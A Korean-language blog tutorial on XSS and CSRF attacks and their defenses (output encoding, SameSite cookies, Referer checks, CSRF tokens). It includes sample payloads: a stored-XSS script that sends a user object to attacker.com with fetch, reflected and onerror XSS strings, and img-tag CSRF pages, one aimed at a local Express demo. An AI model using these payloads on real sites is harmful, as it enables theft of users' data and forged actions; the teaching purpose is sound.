Beomy

[ETC] XSS와 XSRF

  9 mins read  

이번 포스트에서는 웹 취약성을 노리는 XSS와 XSRF(CSRF) 공격에 대해 살펴보도록 하겠습니다.

XSS(Cross-Site Scripting)

사이트 간 스크립팅(XSS)는 웹 애플리케이션에서 많이 나타나는 웹 취약점 공격 중 하나입니다. 웹 사이트 관리자가 아닌 다른 사람이 웹 페이지에 악성 스크립트를 삽입할 수 있는 점을 노린 공격입니다. 주로 게시판에 악성 스크립트가 담긴 글을 올리는 형태로 이루어집니다.

XSS의 공격 유형은 표준으로 정해져 있지는 않지만, 비 지속적인 공격(Non-persistent XSS)과 지속적인 공격(persistent XSS)으로 구분할 수 있습니다.

타겟이 되는 취약점

사이트 간 스크립팅은 사용자가 특정 웹 사이트를 신뢰한다는 점을 노린 공격입니다. 웹 사이트가 사용자의 입력 값을 제대로 검사하지 않고 사용할 경우를 XSS 공격에 노출됩니다. 공격자가 사용자의 정보(쿠키, 세션 등)를 탈취하거나 비정상적인 기능을 수행하게 할 수 있습니다.

비 지속적(Non-persistent) 공격 방법

검색 엔진의 취약점을 노린 공격을 예로 들 수 있습니다. 포탈 사이트에서 문자열을 검색할 경우, 일반적으로 검색 결과 페이지에서 검색한 문자열을 그대로 다시 표시합니다. 검색한 문자열에 스크립트가 포함되어 그 스크립트가 실행 된다면 비 지속적 XSS 공격에 취약점을 가지고 있는 것입니다.

예를 들어 네이버 쇼핑에서 아래 그림과 같이 <script>alert('XSS')</script>를 검색해 보면 검색 결과 페이지에서 검색 문자열에 포함된 스크립트가 화면에 문자열로 나타나는 것을 볼 수 있습니다. 스크립트가 실행되지 않고 화면에 노출되기 때문에 네이버 쇼핑은 비 지속적 XSS 공격에 대응이 되어 있는 것으로 볼 수 있습니다.

네이버 XSS 취약점 확인

공격자는 웹 사이트에서 취약점을 찾아 낸 후, (네이버 쇼핑은 취약점이 없지만) 사용자에게 https://search.shopping.naver.com/search/all?query=<script>alert('XSS')</script>(이 링크는 <script>alert('XSS')</script> 검색 결과와 동일합니다.)와 같이 쿼리에 스크립트가 포함된 링크에 접속을 유도합니다. 사용자가 페이지에 접속하여 스크립트가 실행 된다면 비 지속적 XSS 공격이 성공하게 됩니다.

비 지속적 XSS는 검색 문자열을 그대로 화면에 다시 표시되는 점을 노린 공격이기 때문에 반사(Reflected) XSS라고도 불립니다.

지속적(Persistent) 공격 방법

지속적 XSS 공격은 비 지속적 XSS 공격보다 더 치명적인 공격 방법입니다. 게시판을 예로 들면, 공격자가 게시판 글쓰기 통해서 스크립트를 포함한 게시 글을 작성한 후 서버에 저장 합니다. 다른 사용자가 그 게시 글을 읽을 때 게시 글에 포함된 스크립트가 실행되면서 XSS 공격이 성공하게 됩니다. 게시 글에 그 글을 읽는 사용자의 이름과 이메일 등의 개인 정보를 공격자에게 전송하는 스크립트가 포함되어 있다고 하면, 게시 글을 읽는 모든 사람의 개인 정보가 유출되게 됩니다.

예를 들어, 사용자 정보가 window 객체의 user 필드에 저장되어 있다고 하면, 아래와 같이 공격자가 스크립트를 포함한 게시 글을 작성합니다.

안녕하세요.

<script>
  fetch('http://attacker.com/user', {
    method: 'POST',
    body: JSON.stringify(window.user)
  });
</script>

반갑습니다.

<script> 태그는 화면에 노출되지 않기 때문에 사용자는 자신의 개인 정보가 유출되는지 모른 체 피해를 입게 됩니다. 한 번 스크립트가 실행 되는 게시 글을 올릴 수 있다면, 그 게시 글이 삭제 될 때까지 지속적으로 사용자들에게 피해를 줄 수 있기 때문에 지속적 XSS 공격이라고 이야기 합니다.

대응 방법

XSS 공격을 막기 위해서는 페이지에서 공격자가 입력한 스크립트를 실행하지 못하게 해야 합니다. 스크립트를 실행하지 못하게 하려면, 스크립트 입력을 막거나 브라우저가 스크립트를 실행하지 못하게 스크립트 값을 변경해야 합니다. XSS 공격은 보통 프론트엔드 측에서 대응해 줍니다.

입력 값 제한

스크립트를 입력하지 못하게 하는 방법으로 XSS 공격을 막을 수 있습니다. 하지만 <script> 태그 뿐만 아니라 아래 코드와 같이 이벤트 핸들러를 사용하는 방법으로 스크립트를 실행 할 수 있습니다.

<img src="#" onerror="alert('XSS')">

모든 케이스에 대응해서 입력 값을 제한하는 것은 쉽지 않기 때문에 입력 값 치환이 XSS 공격을 방어하는데 더 효과적입니다.

입력 값 치환

XSS 공격은 HTML 태그를 사용하기 때문에 HTML 태그에 사용되는 <> 문자열을 인코딩한 &lt, &gt를 서버에 저장하거나 페이지를 그릴 때 인코딩한 값으로 화면에 그리는 방법입니다. 이렇게 인코딩이 되면 브라우저는 일반 문자열로 인식하여 페이지에 <script></script>로 노출되어 스크립트가 실행되지 않습니다.

XSRF(Crose-Site Request Forgery)

사이트 간 요청 위조(XSRF 또는 CSRF라고 합니다.)는 사용자가 자신의 의지와 무관하게 공격자가 의도한 행위(수정, 삭제, 등록 등)를 특정 웹사이트에 요청하게 하는 공격입니다.

타겟이 되는 취약점

사이트 간 요청 위조는 특정 웹 사이트가 사용자의 웹 브라우저를 신뢰하는 상태를 노린 공격입니다. 사용자가 웹사이트에 로그인한 상태에서 사이트간 요청 위조 공격 코드가 삽입된 페이지를 열면, 공격 대상이 되는 웹사이트는 위조된 공격 명령이 믿을 수 있는 사용자로부터 발송된 것으로 판단하게 되어 공격에 노출됩니다.

공격 방법

XSRF 공격 과정은 아래와 같습니다.

XSRF 공격 순서

  1. 이용자는 웹사이트에 로그인하여 정상적인 쿠키를 발급받는다.
  2. 공격자는 링크(예를 들어, http://www.geocities.com/attacker와 같은)를 이메일이나 게시판 등의 경로를 통해 이용자에게 전달한다.
  3. 위의 링크의 HTML 페이지는 <img src= "https://travel.service.com/travel_update?.src=Korea&.dst=Hell"> 같은 이미지 태그를 가집니다. 이 링크는 출발지와 도착지를 등록하기 위한 링크인데, 그 중 도착지 정보를 변조한 링크입니다.
  4. 이용자가 공격용 페이지를 열면, 브라우저는 이미지 파일을 받아오기 위해 공격용 URL을 실행합니다.
  5. 이용자의 승인이나 인지 없이 출발지와 도착지가 등록되어 공격이 완료됩니다.

해당 서비스는 단순히 쿠키를 통해 본인확인이 이루어지기 때문에 XSRF 공격이 가능하게 됩니다.

공격 예제

XSRF 공격이 이루어지는 예제를 Express를 사용하여 만들었습니다. 아래 두 코드는 XSRF 공격의 대상이 되는 프론트엔드와 백엔드 예제 코드 입니다.

<!DOCTYPE html>
<html lang="en">
<body>
  XSRF 대상 Front End 입니다.

  <div>
    <input type="text" name="id" placeholder="ID" />
    <input type="password" name="password" placeholder="비밀번호" />
    <input type="submit" value="로그인" onclick="login()"/>
  </div>

  <script>
    function login () {
      const id = document.querySelector('[name=id]').value;
      const password = document.querySelector('[name=password]').value;
      fetch('/users/login', {
        method: 'POST',
        body: JSON.stringify({ id, password }),
        headers: {
          'Content-Type': 'application/json',
        },
      });
    }
  </script>
</body>

</html>
var express = require('express');
var router = express.Router();

router.post('/login', function(req, res, next) {
  res.cookie('login-token', 'test', { sameSite: 'none', secure: true });
  res.send();
});

router.get('/change', function(req, res, next) {
  if (req.cookies['login-token'] === 'test') {
    console.log(`비밀 번호가 변경되었습니다.`);
  }
  res.send();
})

module.exports = router;

프론트엔드 페이지는 로그인 페이지 입니다. ID와 Password를 입력 받아 users/login API를 호출합니다. users/login에서는 쿠키에 login-token이라는 이름으로 토큰을 설정합니다. user/change에서는 login-tokentest일 경우 회원의 비밀 번호를 변경합니다.

아래 코드는 로그인 후 공격자가 사용자에게 접근을 유도하여, 사용자가 접근하게 되는 페이지입니다.

<!DOCTYPE html>
<html lang="en">
<body>
  피싱 페이지 입니다.

  <img src="http://localhost:3000/users/change?id=test&password=test" />
</body>
</html>

<img> 태그는 Get 방식으로 src로 선언된 주소를 호출하기 때문에 서버의 user/change API가 호출됩니다. 쿠키를 통해서만 인증이 이루어지기 때문에 아래 그림과 같이 XSRF 공격이 성공하게 됩니다.

XSRF 공격 시도

대응 방법

XSRF 공격을 막기 위해서는 피싱 페이지에서 호출한 백엔드 API가 실패 되도록 해야 합니다. 백엔드 API가 정상적으로 응답해야 하는지 판단해야 하기 때문에 XSRF 공격은 XSS와는 다르게 보통 백엔드 측에서 대응해 줘야 합니다.

쿠키의 SameSite 사용

HTTP 응답 헤더의 Set-Cookie에 SameSite 속성으로 None, Lax, Strict 3종류가 올 수 있습니다. SameSite 속성 값으로 Lax, Strict를 사용하면 쿠키를 동일한 사이트에서만 전달 할 수 있게 할 수 있습니다.

SameSite 속성은 아래 그림과 같이 Can I Use에서 확인해 보면, IE10와 같은 구형 브라우저에서는 SameSite 속성을 지원하지 않기 때문에 SameSite 속성만을 사용하여 XSRF 공격을 막는 것에는 한계가 있습니다.

SameSite 사용 가능 브라우저

Referer 체크

Request 헤더의 Referer를 확인하여 유효한 사이트에서 API를 호출하는지 확인하는 방법입니다.

Same-Origin Policy(SOP)를 지키면 XSRF 공격을 방어할 수 있습니다. 하지만 다른 출처의 자원을 사용해야 하는 경우가 있기 때문에 CORS를 허용해 주는 경우가 많습니다. CORS를 위해 Access-Control-Allow-Origin: *를 사용하여 모든 출처를 허용하게 되면 XSRF 공격에 취약 해지기 때문에 Access-Controll-Allow-Origin: * 사용을 피하고 유효한 출처만 허용하는 것이 좋습니다.

Security Token 사용

Security Token을 사용 한다는 것은 사용자 인증 절차를 좀 더 복잡하게 만들어서 XSRF 공격을 막겠다는 의미입니다.

임의의 토큰을 발급하여 서버의 세션에 토큰을 저장하고, 그 토큰을 프론트엔드로 전달합니다. 프론트엔드에서는 API를 호출할 때 전달 받은 토큰을 함께 전달하고, 서버에서 세션에 저장된 토큰과 프론트엔트에서 전달 받은 토큰을 비교하여 동일할 경우 API를 실행하는 방식입니다. 피싱 사이트에서 API를 호출한 경우, 피싱 사이트에는 토큰이 존재하지 않기 때문에 API 호출이 실패하게 됩니다.

부록

HTTP 응답 헤더의 Set-Cookie에 SameSite 속성을 사용하면 동일한 사이트에서만 쿠키를 전달 할 수 있게 할 수 있습니다. SameSite 속성에 설정할 수 있는 값은 아래 목록과 같은 None, Lax, Strict 3종류입니다.

  • SameSite=None: SameSite 속성이 등장 하기 전에 동작하던 쿠키 방식입니다. None으로 설정된 쿠키는 크로스 사이트 요청에서도 쿠키가 전송됩니다.
  • SameSite=Lax: 원래의 사이트에서 링크 이동을 통해 이동 된 경우에만 쿠키를 전달합니다. 즉 <a> 태그를 통한 링크 이동시에 이동한 사이트로 쿠키가 전송됩니다. <a href>, <link href>, <form method=get> 사용시 쿠키가 전달됩니다.
  • SameSite=Strict: Lax에서 허용하는 예외 상황에서도 쿠키를 전송하지 않는 가장 엄격한 형태입니다.

아래 그림과 같이 Can I Use를 확인하면, 크롬 80버전부터 새로운 쿠키 정책이 적용되어 Cookie의 SameSite 속성의 기본값이 Lax로 변경 되었습니다. SameSite 속성이 정의 되어 있지 않더라도 Lax로 설정 된 것으로 인식하고 동작합니다.

SameSite 기본 값 허용 브라우저

크롬에서 SameSite=None을 사용하려면 아래 코드와 같이 Secure과 함께 사용되어야 합니다.

Set-Cookie: login-token=test; SameSite=None; Secure

Secure를 사용하면 HTTPS 프로토콜을 사용할 때만 쿠키를 전달하게 됩니다. HTTP 프로토콜을 사용 할 때는 쿠키를 전달하지 않습니다.

참고